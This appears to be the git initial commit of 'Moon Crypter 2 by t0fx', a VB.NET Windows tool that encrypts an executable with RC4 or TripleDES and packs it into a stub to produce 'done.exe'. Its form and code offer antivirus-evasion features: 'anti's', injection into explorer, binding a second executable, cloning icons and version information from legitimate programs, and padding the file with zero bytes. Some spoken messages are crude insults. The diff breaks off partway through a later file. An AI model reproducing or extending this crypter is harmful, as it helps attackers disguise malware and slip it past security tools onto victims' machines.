initial commit
This commit is contained in:
i2p
Binary file not shown.
|
After Width: | Height: | Size: 83 KiB |
@@ -0,0 +1,26 @@
|
||||
Imports System.Text
|
||||
Imports System.Security.Cryptography
|
||||
|
||||
Public Class _3des
|
||||
Public Shared Function Encrypt(ByVal toEncrypt As String, ByVal key As String, ByVal useHashing As Boolean) As String
|
||||
Dim keyArray As Byte()
|
||||
Dim toEncryptArray As Byte() = UTF8Encoding.UTF8.GetBytes(toEncrypt)
|
||||
|
||||
If useHashing Then
|
||||
Dim hashmd5 As New MD5CryptoServiceProvider()
|
||||
keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(key))
|
||||
Else
|
||||
keyArray = UTF8Encoding.UTF8.GetBytes(key)
|
||||
End If
|
||||
|
||||
Dim tdes As New TripleDESCryptoServiceProvider()
|
||||
tdes.Key = keyArray
|
||||
tdes.Mode = CipherMode.ECB
|
||||
tdes.Padding = PaddingMode.PKCS7
|
||||
|
||||
Dim cTransform As ICryptoTransform = tdes.CreateEncryptor()
|
||||
Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length)
|
||||
|
||||
Return Convert.ToBase64String(resultArray, 0, resultArray.Length)
|
||||
End Function
|
||||
End Class
|
||||
+393
@@ -0,0 +1,393 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Form1
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1))
|
||||
Me.TextFile = New System.Windows.Forms.TextBox
|
||||
Me.BtnBrowse = New System.Windows.Forms.Button
|
||||
Me.BtnCtypt = New System.Windows.Forms.Button
|
||||
Me.OpenFileDialog1 = New System.Windows.Forms.OpenFileDialog
|
||||
Me.CheckIcon = New System.Windows.Forms.CheckBox
|
||||
Me.TextIcon = New System.Windows.Forms.TextBox
|
||||
Me.BtnIcon = New System.Windows.Forms.Button
|
||||
Me.CheckClone = New System.Windows.Forms.CheckBox
|
||||
Me.TextClone = New System.Windows.Forms.TextBox
|
||||
Me.BtnClone = New System.Windows.Forms.Button
|
||||
Me.Label1 = New System.Windows.Forms.Label
|
||||
Me.TextEnc = New System.Windows.Forms.TextBox
|
||||
Me.Label2 = New System.Windows.Forms.Label
|
||||
Me.GroupBox1 = New System.Windows.Forms.GroupBox
|
||||
Me.GroupBox2 = New System.Windows.Forms.GroupBox
|
||||
Me.CheckDES = New System.Windows.Forms.RadioButton
|
||||
Me.CheckRC4 = New System.Windows.Forms.RadioButton
|
||||
Me.GroupBox3 = New System.Windows.Forms.GroupBox
|
||||
Me.TextProc = New System.Windows.Forms.TextBox
|
||||
Me.CheckInject = New System.Windows.Forms.CheckBox
|
||||
Me.CheckAntis = New System.Windows.Forms.CheckBox
|
||||
Me.GroupBox4 = New System.Windows.Forms.GroupBox
|
||||
Me.BtnBind = New System.Windows.Forms.Button
|
||||
Me.TextBind = New System.Windows.Forms.TextBox
|
||||
Me.CheckBind = New System.Windows.Forms.CheckBox
|
||||
Me.CheckBytes = New System.Windows.Forms.CheckBox
|
||||
Me.TextBytes = New System.Windows.Forms.TextBox
|
||||
Me.GroupBox1.SuspendLayout()
|
||||
Me.GroupBox2.SuspendLayout()
|
||||
Me.GroupBox3.SuspendLayout()
|
||||
Me.GroupBox4.SuspendLayout()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'TextFile
|
||||
'
|
||||
Me.TextFile.Location = New System.Drawing.Point(23, 53)
|
||||
Me.TextFile.Name = "TextFile"
|
||||
Me.TextFile.Size = New System.Drawing.Size(237, 20)
|
||||
Me.TextFile.TabIndex = 0
|
||||
'
|
||||
'BtnBrowse
|
||||
'
|
||||
Me.BtnBrowse.ForeColor = System.Drawing.Color.Black
|
||||
Me.BtnBrowse.Location = New System.Drawing.Point(274, 53)
|
||||
Me.BtnBrowse.Name = "BtnBrowse"
|
||||
Me.BtnBrowse.Size = New System.Drawing.Size(47, 20)
|
||||
Me.BtnBrowse.TabIndex = 1
|
||||
Me.BtnBrowse.Text = "..."
|
||||
Me.BtnBrowse.UseVisualStyleBackColor = True
|
||||
'
|
||||
'BtnCtypt
|
||||
'
|
||||
Me.BtnCtypt.Location = New System.Drawing.Point(611, 286)
|
||||
Me.BtnCtypt.Name = "BtnCtypt"
|
||||
Me.BtnCtypt.Size = New System.Drawing.Size(77, 50)
|
||||
Me.BtnCtypt.TabIndex = 2
|
||||
Me.BtnCtypt.Text = "Crypt"
|
||||
Me.BtnCtypt.UseVisualStyleBackColor = True
|
||||
'
|
||||
'OpenFileDialog1
|
||||
'
|
||||
Me.OpenFileDialog1.FileName = "OpenFileDialog1"
|
||||
'
|
||||
'CheckIcon
|
||||
'
|
||||
Me.CheckIcon.AutoSize = True
|
||||
Me.CheckIcon.BackColor = System.Drawing.Color.Transparent
|
||||
Me.CheckIcon.ForeColor = System.Drawing.Color.White
|
||||
Me.CheckIcon.Location = New System.Drawing.Point(21, 92)
|
||||
Me.CheckIcon.Name = "CheckIcon"
|
||||
Me.CheckIcon.Size = New System.Drawing.Size(87, 17)
|
||||
Me.CheckIcon.TabIndex = 4
|
||||
Me.CheckIcon.Text = "Change Icon"
|
||||
Me.CheckIcon.UseVisualStyleBackColor = False
|
||||
'
|
||||
'TextIcon
|
||||
'
|
||||
Me.TextIcon.Location = New System.Drawing.Point(20, 115)
|
||||
Me.TextIcon.Name = "TextIcon"
|
||||
Me.TextIcon.Size = New System.Drawing.Size(237, 20)
|
||||
Me.TextIcon.TabIndex = 6
|
||||
'
|
||||
'BtnIcon
|
||||
'
|
||||
Me.BtnIcon.ForeColor = System.Drawing.Color.Black
|
||||
Me.BtnIcon.Location = New System.Drawing.Point(273, 115)
|
||||
Me.BtnIcon.Name = "BtnIcon"
|
||||
Me.BtnIcon.Size = New System.Drawing.Size(45, 19)
|
||||
Me.BtnIcon.TabIndex = 8
|
||||
Me.BtnIcon.Text = "..."
|
||||
Me.BtnIcon.UseVisualStyleBackColor = True
|
||||
'
|
||||
'CheckClone
|
||||
'
|
||||
Me.CheckClone.AutoSize = True
|
||||
Me.CheckClone.BackColor = System.Drawing.Color.Transparent
|
||||
Me.CheckClone.ForeColor = System.Drawing.Color.White
|
||||
Me.CheckClone.Location = New System.Drawing.Point(21, 30)
|
||||
Me.CheckClone.Name = "CheckClone"
|
||||
Me.CheckClone.Size = New System.Drawing.Size(91, 17)
|
||||
Me.CheckClone.TabIndex = 10
|
||||
Me.CheckClone.Text = "Clone with file"
|
||||
Me.CheckClone.UseVisualStyleBackColor = False
|
||||
'
|
||||
'TextClone
|
||||
'
|
||||
Me.TextClone.Location = New System.Drawing.Point(21, 53)
|
||||
Me.TextClone.Name = "TextClone"
|
||||
Me.TextClone.Size = New System.Drawing.Size(234, 20)
|
||||
Me.TextClone.TabIndex = 11
|
||||
'
|
||||
'BtnClone
|
||||
'
|
||||
Me.BtnClone.ForeColor = System.Drawing.Color.Black
|
||||
Me.BtnClone.Location = New System.Drawing.Point(273, 53)
|
||||
Me.BtnClone.Name = "BtnClone"
|
||||
Me.BtnClone.Size = New System.Drawing.Size(46, 19)
|
||||
Me.BtnClone.TabIndex = 12
|
||||
Me.BtnClone.Text = "..."
|
||||
Me.BtnClone.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Me.Label1.AutoSize = True
|
||||
Me.Label1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label1.ForeColor = System.Drawing.Color.White
|
||||
Me.Label1.Location = New System.Drawing.Point(20, 28)
|
||||
Me.Label1.Name = "Label1"
|
||||
Me.Label1.Size = New System.Drawing.Size(67, 13)
|
||||
Me.Label1.TabIndex = 13
|
||||
Me.Label1.Text = "File to crypt :"
|
||||
'
|
||||
'TextEnc
|
||||
'
|
||||
Me.TextEnc.Location = New System.Drawing.Point(120, 53)
|
||||
Me.TextEnc.Name = "TextEnc"
|
||||
Me.TextEnc.Size = New System.Drawing.Size(73, 20)
|
||||
Me.TextEnc.TabIndex = 14
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Me.Label2.AutoSize = True
|
||||
Me.Label2.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label2.ForeColor = System.Drawing.Color.White
|
||||
Me.Label2.Location = New System.Drawing.Point(14, 57)
|
||||
Me.Label2.Name = "Label2"
|
||||
Me.Label2.Size = New System.Drawing.Size(83, 13)
|
||||
Me.Label2.TabIndex = 15
|
||||
Me.Label2.Text = "Encryption key :"
|
||||
'
|
||||
'GroupBox1
|
||||
'
|
||||
Me.GroupBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.GroupBox1.Controls.Add(Me.Label1)
|
||||
Me.GroupBox1.Controls.Add(Me.TextFile)
|
||||
Me.GroupBox1.Controls.Add(Me.BtnBrowse)
|
||||
Me.GroupBox1.ForeColor = System.Drawing.Color.White
|
||||
Me.GroupBox1.Location = New System.Drawing.Point(12, 12)
|
||||
Me.GroupBox1.Name = "GroupBox1"
|
||||
Me.GroupBox1.Size = New System.Drawing.Size(335, 91)
|
||||
Me.GroupBox1.TabIndex = 18
|
||||
Me.GroupBox1.TabStop = False
|
||||
Me.GroupBox1.Text = "File :"
|
||||
'
|
||||
'GroupBox2
|
||||
'
|
||||
Me.GroupBox2.BackColor = System.Drawing.Color.Transparent
|
||||
Me.GroupBox2.Controls.Add(Me.CheckDES)
|
||||
Me.GroupBox2.Controls.Add(Me.CheckRC4)
|
||||
Me.GroupBox2.Controls.Add(Me.TextEnc)
|
||||
Me.GroupBox2.Controls.Add(Me.Label2)
|
||||
Me.GroupBox2.ForeColor = System.Drawing.Color.White
|
||||
Me.GroupBox2.Location = New System.Drawing.Point(354, 245)
|
||||
Me.GroupBox2.Name = "GroupBox2"
|
||||
Me.GroupBox2.Size = New System.Drawing.Size(217, 91)
|
||||
Me.GroupBox2.TabIndex = 19
|
||||
Me.GroupBox2.TabStop = False
|
||||
Me.GroupBox2.Text = "Encryption :"
|
||||
'
|
||||
'CheckDES
|
||||
'
|
||||
Me.CheckDES.AutoSize = True
|
||||
Me.CheckDES.Location = New System.Drawing.Point(120, 21)
|
||||
Me.CheckDES.Name = "CheckDES"
|
||||
Me.CheckDES.Size = New System.Drawing.Size(73, 17)
|
||||
Me.CheckDES.TabIndex = 17
|
||||
Me.CheckDES.Text = "TripleDES"
|
||||
Me.CheckDES.UseVisualStyleBackColor = True
|
||||
'
|
||||
'CheckRC4
|
||||
'
|
||||
Me.CheckRC4.AutoSize = True
|
||||
Me.CheckRC4.Checked = True
|
||||
Me.CheckRC4.Location = New System.Drawing.Point(17, 23)
|
||||
Me.CheckRC4.Name = "CheckRC4"
|
||||
Me.CheckRC4.Size = New System.Drawing.Size(46, 17)
|
||||
Me.CheckRC4.TabIndex = 16
|
||||
Me.CheckRC4.TabStop = True
|
||||
Me.CheckRC4.Text = "RC4"
|
||||
Me.CheckRC4.UseVisualStyleBackColor = True
|
||||
'
|
||||
'GroupBox3
|
||||
'
|
||||
Me.GroupBox3.BackColor = System.Drawing.Color.Transparent
|
||||
Me.GroupBox3.Controls.Add(Me.TextBytes)
|
||||
Me.GroupBox3.Controls.Add(Me.CheckBytes)
|
||||
Me.GroupBox3.Controls.Add(Me.TextProc)
|
||||
Me.GroupBox3.Controls.Add(Me.CheckInject)
|
||||
Me.GroupBox3.Controls.Add(Me.CheckAntis)
|
||||
Me.GroupBox3.ForeColor = System.Drawing.Color.White
|
||||
Me.GroupBox3.Location = New System.Drawing.Point(354, 109)
|
||||
Me.GroupBox3.Name = "GroupBox3"
|
||||
Me.GroupBox3.Size = New System.Drawing.Size(334, 125)
|
||||
Me.GroupBox3.TabIndex = 20
|
||||
Me.GroupBox3.TabStop = False
|
||||
Me.GroupBox3.Text = "Others :"
|
||||
'
|
||||
'TextProc
|
||||
'
|
||||
Me.TextProc.Location = New System.Drawing.Point(174, 53)
|
||||
Me.TextProc.Name = "TextProc"
|
||||
Me.TextProc.Size = New System.Drawing.Size(141, 20)
|
||||
Me.TextProc.TabIndex = 2
|
||||
Me.TextProc.Text = "explorer"
|
||||
'
|
||||
'CheckInject
|
||||
'
|
||||
Me.CheckInject.AutoSize = True
|
||||
Me.CheckInject.Location = New System.Drawing.Point(19, 56)
|
||||
Me.CheckInject.Name = "CheckInject"
|
||||
Me.CheckInject.Size = New System.Drawing.Size(149, 17)
|
||||
Me.CheckInject.TabIndex = 1
|
||||
Me.CheckInject.Text = "Custom process injection :"
|
||||
Me.CheckInject.UseVisualStyleBackColor = True
|
||||
'
|
||||
'CheckAntis
|
||||
'
|
||||
Me.CheckAntis.AutoSize = True
|
||||
Me.CheckAntis.Checked = True
|
||||
Me.CheckAntis.CheckState = System.Windows.Forms.CheckState.Checked
|
||||
Me.CheckAntis.Location = New System.Drawing.Point(19, 19)
|
||||
Me.CheckAntis.Name = "CheckAntis"
|
||||
Me.CheckAntis.Size = New System.Drawing.Size(87, 17)
|
||||
Me.CheckAntis.TabIndex = 0
|
||||
Me.CheckAntis.Text = "Enable Anti's"
|
||||
Me.CheckAntis.UseVisualStyleBackColor = True
|
||||
'
|
||||
'GroupBox4
|
||||
'
|
||||
Me.GroupBox4.BackColor = System.Drawing.Color.Transparent
|
||||
Me.GroupBox4.Controls.Add(Me.BtnBind)
|
||||
Me.GroupBox4.Controls.Add(Me.TextBind)
|
||||
Me.GroupBox4.Controls.Add(Me.CheckBind)
|
||||
Me.GroupBox4.Controls.Add(Me.CheckClone)
|
||||
Me.GroupBox4.Controls.Add(Me.TextClone)
|
||||
Me.GroupBox4.Controls.Add(Me.BtnClone)
|
||||
Me.GroupBox4.Controls.Add(Me.BtnIcon)
|
||||
Me.GroupBox4.Controls.Add(Me.CheckIcon)
|
||||
Me.GroupBox4.Controls.Add(Me.TextIcon)
|
||||
Me.GroupBox4.ForeColor = System.Drawing.Color.White
|
||||
Me.GroupBox4.Location = New System.Drawing.Point(12, 109)
|
||||
Me.GroupBox4.Name = "GroupBox4"
|
||||
Me.GroupBox4.Size = New System.Drawing.Size(335, 227)
|
||||
Me.GroupBox4.TabIndex = 21
|
||||
Me.GroupBox4.TabStop = False
|
||||
Me.GroupBox4.Text = "Options :"
|
||||
'
|
||||
'BtnBind
|
||||
'
|
||||
Me.BtnBind.ForeColor = System.Drawing.Color.Black
|
||||
Me.BtnBind.Location = New System.Drawing.Point(272, 180)
|
||||
Me.BtnBind.Name = "BtnBind"
|
||||
Me.BtnBind.Size = New System.Drawing.Size(44, 19)
|
||||
Me.BtnBind.TabIndex = 15
|
||||
Me.BtnBind.Text = "..."
|
||||
Me.BtnBind.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextBind
|
||||
'
|
||||
Me.TextBind.Location = New System.Drawing.Point(20, 179)
|
||||
Me.TextBind.Name = "TextBind"
|
||||
Me.TextBind.Size = New System.Drawing.Size(236, 20)
|
||||
Me.TextBind.TabIndex = 14
|
||||
'
|
||||
'CheckBind
|
||||
'
|
||||
Me.CheckBind.AutoSize = True
|
||||
Me.CheckBind.Location = New System.Drawing.Point(21, 156)
|
||||
Me.CheckBind.Name = "CheckBind"
|
||||
Me.CheckBind.Size = New System.Drawing.Size(85, 17)
|
||||
Me.CheckBind.TabIndex = 13
|
||||
Me.CheckBind.Text = "Bind with file"
|
||||
Me.CheckBind.UseVisualStyleBackColor = True
|
||||
'
|
||||
'CheckBytes
|
||||
'
|
||||
Me.CheckBytes.AutoSize = True
|
||||
Me.CheckBytes.Location = New System.Drawing.Point(21, 92)
|
||||
Me.CheckBytes.Name = "CheckBytes"
|
||||
Me.CheckBytes.Size = New System.Drawing.Size(96, 17)
|
||||
Me.CheckBytes.TabIndex = 3
|
||||
Me.CheckBytes.Text = "Add bytes (mb)"
|
||||
Me.CheckBytes.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextBytes
|
||||
'
|
||||
Me.TextBytes.Location = New System.Drawing.Point(174, 90)
|
||||
Me.TextBytes.Name = "TextBytes"
|
||||
Me.TextBytes.Size = New System.Drawing.Size(140, 20)
|
||||
Me.TextBytes.TabIndex = 4
|
||||
Me.TextBytes.Text = "5"
|
||||
'
|
||||
'Form1
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.BackgroundImage = CType(resources.GetObject("$this.BackgroundImage"), System.Drawing.Image)
|
||||
Me.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center
|
||||
Me.ClientSize = New System.Drawing.Size(696, 347)
|
||||
Me.Controls.Add(Me.GroupBox4)
|
||||
Me.Controls.Add(Me.GroupBox3)
|
||||
Me.Controls.Add(Me.GroupBox2)
|
||||
Me.Controls.Add(Me.GroupBox1)
|
||||
Me.Controls.Add(Me.BtnCtypt)
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
|
||||
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Me.Name = "Form1"
|
||||
Me.Text = "Moon Crypter 2 by t0fx"
|
||||
Me.GroupBox1.ResumeLayout(False)
|
||||
Me.GroupBox1.PerformLayout()
|
||||
Me.GroupBox2.ResumeLayout(False)
|
||||
Me.GroupBox2.PerformLayout()
|
||||
Me.GroupBox3.ResumeLayout(False)
|
||||
Me.GroupBox3.PerformLayout()
|
||||
Me.GroupBox4.ResumeLayout(False)
|
||||
Me.GroupBox4.PerformLayout()
|
||||
Me.ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
Friend WithEvents TextFile As System.Windows.Forms.TextBox
|
||||
Friend WithEvents BtnBrowse As System.Windows.Forms.Button
|
||||
Friend WithEvents BtnCtypt As System.Windows.Forms.Button
|
||||
Friend WithEvents OpenFileDialog1 As System.Windows.Forms.OpenFileDialog
|
||||
Friend WithEvents CheckIcon As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextIcon As System.Windows.Forms.TextBox
|
||||
Friend WithEvents BtnIcon As System.Windows.Forms.Button
|
||||
Friend WithEvents CheckClone As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextClone As System.Windows.Forms.TextBox
|
||||
Friend WithEvents BtnClone As System.Windows.Forms.Button
|
||||
Friend WithEvents Label1 As System.Windows.Forms.Label
|
||||
Friend WithEvents TextEnc As System.Windows.Forms.TextBox
|
||||
Friend WithEvents Label2 As System.Windows.Forms.Label
|
||||
Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents GroupBox2 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents CheckDES As System.Windows.Forms.RadioButton
|
||||
Friend WithEvents CheckRC4 As System.Windows.Forms.RadioButton
|
||||
Friend WithEvents GroupBox3 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents CheckAntis As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents GroupBox4 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents BtnBind As System.Windows.Forms.Button
|
||||
Friend WithEvents TextBind As System.Windows.Forms.TextBox
|
||||
Friend WithEvents CheckBind As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextProc As System.Windows.Forms.TextBox
|
||||
Friend WithEvents CheckInject As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextBytes As System.Windows.Forms.TextBox
|
||||
Friend WithEvents CheckBytes As System.Windows.Forms.CheckBox
|
||||
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,199 @@
|
||||
Imports System.IO
|
||||
Imports System.Text
|
||||
|
||||
Public Class Form1
|
||||
Dim ifile, res, enctype, antis, processZ, cfile, bfile, b1file, iSbinded As String
|
||||
Dim output As String = Application.StartupPath + "\done.exe"
|
||||
Dim Stub As String = Application.StartupPath + "\winini.exe"
|
||||
|
||||
|
||||
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnCtypt.Click
|
||||
|
||||
If File.Exists(output) Then
|
||||
Kill(output)
|
||||
End If
|
||||
|
||||
File.Copy(Application.StartupPath + "\res\winini.exe", Stub)
|
||||
|
||||
If CheckAntis.Checked Then
|
||||
antis = "true"
|
||||
Else
|
||||
antis = "false"
|
||||
End If
|
||||
|
||||
If CheckInject.Checked Then
|
||||
processZ = TextEnc.Text
|
||||
Else
|
||||
processZ = "own"
|
||||
End If
|
||||
|
||||
If CheckIcon.Checked Then
|
||||
Call IconIt(TextIcon.Text)
|
||||
End If
|
||||
If CheckClone.Checked Then
|
||||
Call CloneIt(TextClone.Text)
|
||||
End If
|
||||
|
||||
Call cit()
|
||||
|
||||
File.Delete(Stub)
|
||||
|
||||
If CheckBytes.Checked Then
|
||||
Dim file1 = File.OpenWrite(Application.StartupPath + "\done.exe")
|
||||
Dim siza = file1.Seek(0, SeekOrigin.[End])
|
||||
Dim size = Convert.ToInt32(TextBytes.Text)
|
||||
Dim bite As Decimal = size * 1048576
|
||||
While siza < bite
|
||||
siza += 1
|
||||
file1.WriteByte(0)
|
||||
End While
|
||||
file1.Close()
|
||||
End If
|
||||
CreateObject("SAPI.SpVoice").Speak("File Crypted Succesfully dirty bastard")
|
||||
MsgBox("File Crypted Succesfully", MsgBoxStyle.Information, "Success")
|
||||
End Sub
|
||||
|
||||
Private Sub IconIt(ByVal SourceIcon As String)
|
||||
Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & ", " & Stub & ", " & SourceIcon & ", " & "icongroup, 1,0")
|
||||
End Sub
|
||||
Private Sub CloneIt(ByVal SourceFile As String)
|
||||
Shell(App_Path() & "res\\res.exe -extract " & SourceFile & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,,")
|
||||
Shell(App_Path() & "res\\res.exe -delete " & Stub & "," & App_Path() + "res\\res.exe" & ",VERSIONINFO,,")
|
||||
Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & "," & Stub & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,1,")
|
||||
End Sub
|
||||
Public Function App_Path() As String
|
||||
Return System.AppDomain.CurrentDomain.BaseDirectory()
|
||||
End Function
|
||||
|
||||
Private Sub cit()
|
||||
Dim key As String = TextEnc.Text
|
||||
Dim Cut As String = "/Assembly/"
|
||||
'get stub
|
||||
FileOpen(1, Stub, OpenMode.Binary)
|
||||
res = Space(LOF(1))
|
||||
FileGet(1, res)
|
||||
FileClose(1)
|
||||
|
||||
'get file to crypt
|
||||
FileOpen(1, (TextFile.Text), OpenMode.Binary)
|
||||
ifile = Space(LOF(1))
|
||||
FileGet(1, ifile)
|
||||
FileClose(1)
|
||||
|
||||
'get file to bind
|
||||
If CheckBind.Checked Then
|
||||
iSbinded = "yes"
|
||||
FileOpen(1, (TextBind.Text), OpenMode.Binary)
|
||||
bfile = Space(LOF(1))
|
||||
FileGet(1, bfile)
|
||||
FileClose(1)
|
||||
b1file = bfile
|
||||
If CheckDES.Checked Then
|
||||
b1file = _3des.Encrypt(bfile, key, True)
|
||||
ElseIf CheckRC4.Checked Then
|
||||
b1file = rc4.rc4(bfile, key)
|
||||
End If
|
||||
End If
|
||||
|
||||
cfile = ifile
|
||||
If CheckDES.Checked Then
|
||||
enctype = "tripleDES"
|
||||
cfile = _3des.Encrypt(ifile, key, True)
|
||||
ElseIf CheckRC4.Checked Then
|
||||
enctype = "rc4"
|
||||
cfile = rc4.rc4(ifile, key)
|
||||
End If
|
||||
|
||||
FileOpen(1, output, OpenMode.Binary)
|
||||
FilePut(1, res)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, cfile)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, key)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, enctype)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, antis)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, processZ)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, iSbinded)
|
||||
FilePut(1, Cut)
|
||||
FilePut(1, b1file)
|
||||
FilePut(1, Cut)
|
||||
FileClose(1)
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBrowse.Click
|
||||
With OpenFileDialog1
|
||||
.FileName = ""
|
||||
.Filter = "Executable(*.exe)|*.exe"
|
||||
.ShowDialog()
|
||||
TextFile.Text = .FileName
|
||||
ifile = TextFile.Text
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Private Sub BtnIcon_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnIcon.Click
|
||||
With OpenFileDialog1
|
||||
.FileName = ""
|
||||
.Filter = "Icons(*.ico)|*.ico"
|
||||
.ShowDialog()
|
||||
TextIcon.Text = .FileName
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
Dim myfkey As String = GetRandom.ToString
|
||||
TextEnc.Text = myfkey
|
||||
CreateObject("SAPI.SpVoice").Speak("Welcome to moon crypter motherfucker")
|
||||
End Sub
|
||||
|
||||
Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
|
||||
Dim random As New Random()
|
||||
Return random.Next(min, max)
|
||||
End Function
|
||||
|
||||
Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
|
||||
Dim builder As New StringBuilder()
|
||||
Dim random As New Random()
|
||||
Dim ch As Char
|
||||
Dim i As Integer
|
||||
For i = 0 To size - 1
|
||||
ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
|
||||
builder.Append(ch)
|
||||
Next i
|
||||
If lowerCase Then
|
||||
Return builder.ToString().ToLower()
|
||||
End If
|
||||
Return builder.ToString()
|
||||
End Function
|
||||
|
||||
Public Function GetRandom() As String
|
||||
Dim builder As New StringBuilder()
|
||||
builder.Append(RandomString(4, True))
|
||||
builder.Append(RandomNumber(1000, 9999))
|
||||
builder.Append(RandomString(2, False))
|
||||
Return builder.ToString()
|
||||
End Function
|
||||
|
||||
|
||||
Private Sub BtnClone_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnClone.Click
|
||||
With OpenFileDialog1
|
||||
.FileName = ""
|
||||
.Filter = "Executable(*.exe)|*.exe"
|
||||
.ShowDialog()
|
||||
TextClone.Text = .FileName
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Private Sub BtnBind_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBind.Click
|
||||
With OpenFileDialog1
|
||||
.FileName = ""
|
||||
.Filter = "Executable(*.exe)|*.exe"
|
||||
.ShowDialog()
|
||||
TextBind.Text = .FileName
|
||||
End With
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.261
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.MoonCrypter.Form1
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>Form1</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<ApplicationType>0</ApplicationType>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,35 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
